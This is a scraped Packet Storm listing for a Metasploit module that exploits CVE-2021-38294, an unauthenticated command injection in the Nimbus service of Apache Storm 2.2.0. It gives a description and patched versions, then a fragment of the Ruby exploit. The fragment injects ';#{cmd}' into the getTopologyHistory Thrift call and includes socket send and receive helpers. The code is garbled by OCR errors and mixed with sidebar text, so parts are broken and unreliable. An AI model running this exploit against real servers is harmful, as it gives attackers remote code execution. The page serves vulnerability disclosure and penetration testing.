

Search

Home Files News About Contact &[SERVICES_TAB]

Add New

Apache Storm Nimbus 2.2.0 Command Execution

Authored by Spencer McIntyre, Alvaro Munoz | Site metasploit.com

Posted Nov 19, 2021

This Metasploit module exploits an unauthenticated command injection vulnerability within the Nimbus service component of Apache Storm. The getTopologyHistory RPC method method takes a single argument which is the name of a user which is concatenated into a string that is executed by bash. In order for the vulnerability to be exploitable, there must have been at least one topology submitted to the server. The topology may be active or inactive, but at least one must be present. Successful exploitation results in remote code execution as the user running Apache Storm. This vulnerability was patched in versions 2.1.1, 2.2.1 and 1.2.4. This exploit was tested on version 2.2.0 which is affected.

tags | exploit, remote, code execution, bash ries I CVE-2021-38294

Related Files

Share This

Like TWEE LinkedIn

Reddit

Digg StumbleUpon





File Archive: December 2022 < Su Mo Tu We Th 1 2 3 5 6 7 8 4 10 12 13 14 15 11 16 17 19 20 21 22 23 18 24 25 26 27 28 29 30 31

Top Authors In La	st 30 Days
Red Hat 157 files	
Ubuntu 76 files	
LiquidWorm 23 files	
Debian 21 files	
nu11secur1ty 11 files	
malvuln 11 files	
Gentoo 9 files	
Google Security Resear	rch 8 files
Julien Ahrens 4 files	

T. Weber 4 files

File Tags File Archives December 2022 Advisory (79,754) Arbitrary (15.694) October 2022 BBS (2.859) September 2022 Bypass (1,619) August 2022 July 2022 CGI (1,018) Code Execution (6.926) June 2022 Conference (673) May 2022 Cracker (840) April 2022 CSRF (3,290) March 2022 DoS (22 602) February 2022 Encryption (2,349) January 2022 Exploit (50,359) Older

File Inclusion (4,165) File Upload (946) Systems Firewall (821) AIX (426) Info Disclosure (2,660) Apple (1,926) Intrusion Detection (867) BSD (370) Java (2.899) CentOS (55) JavaScript (821) Cisco (1.917) Kernel (6,291) Debian (6,634) Local (14,201) Fedora (1,690) Magazine (586) FreeBSD (1.242) Gentoo (4.272) Perl (1.418) HPUX (878) PHP (5.093) iOS (330) Proof of Concept (2,291) iPhone (108) Protocol (3,435) IRIX (220) Python (1.467) Juniper (67) Remote (30,044) Linux (44,315) Mac OS X (684) Ruby (594) Mandriva (3.105)

OpenBSD (479)

RedHat (12 469)

Slackware (941)

Solaris (1,607)

Scanner (1.631) Security Tool (7,777)

Shell (3,103)

Sniffer (886)

Shellcode (1,204)

```
end
                                                                                                                                                                                                                       Spoof (2,166)
                                                                                                                                                                                                                                                                SUSE (1,444)
 def execute_command(cmd, opts = {})
    # comment out the rest of the command to ensure it's only executed once and prefix a random tag to avoid
aching
    cmd = *#(cmd) ##(Rex::Text.rand_text_alphanumeric(4..8))*
    vprint_status("Executing command: #(cmd)")
                                                                                                                                                                                                                       SQL Injection (16,102) Ubuntu (8,199)
                                                                                                                                                                                                                       TCP (2,379)
                                                                                                                                                                                                                                                               UNIX (9,159)
 ".......puanumeric(4..8)}"
send_request(
Thrift::Header.new(message type: Thrift::MessageType::CALL, method_name: 'getTopologyHistory'),
Thrift::Data.new(data_type: Thrift::DataType::T_UTF7, field_id: 1, data_value: ";#{cmd}"),
Thrift::Data.new
].map(s:to_binary_s).join)
disconnect if opts.fetch(:disconnect, true)
end
                                                                                                                                                                                                                       UDP (876)
                                                                                                                                                                                                                                                               Windows (6,511)
                                                                                                                                                                                                                                                               Other
                                                                                                                                                                                                                       Virus (662)
                                                                                                                                                                                                                       Vulnerability (31,136)
                                                                                                                                                                                                                       Web (9,365)
  def send_request(request)
    connect if sock.nil?
    sock.put([ request.length ].pack('N') + request)
end
                                                                                                                                                                                                                       Whitepaper (3,729)
                                                                                                                                                                                                                      x86 (946)
                                                                                                                                                                                                                       XSS (17,494)
  def recv_response(timeout)
remaining =timeout
res_size, elapsed = Rex::Stopwatch.elapsed_time_do_sock.timed_read(4, remaining)
end
                                                                                                                                                                                                                      Other
      remaining -= elapsed
return nil if res_size.nil? || res_size.length != 4 || remaining <= 0</pre>
      res = sock.timed_read(res_size.unpack1('N'), remaining)
__cadd
__n nil if res.nil:
return res_size + res
rescue Timeout::Error
return nil
end
nd
      return nil if res.nil? || res.length != res_size.unpack1('N')
```

Contact Information

Terms of Service

Privacy Statement

Copyright Information

Login or Register to add favorites

packet storm © 2022 Packet Storm. All rights reserved.

Site Links About Us History & Purpose

News by Month News Tags

Files by Month

File Tags

File Directory

Hosting By

Rokasec

Follow us on Twitter

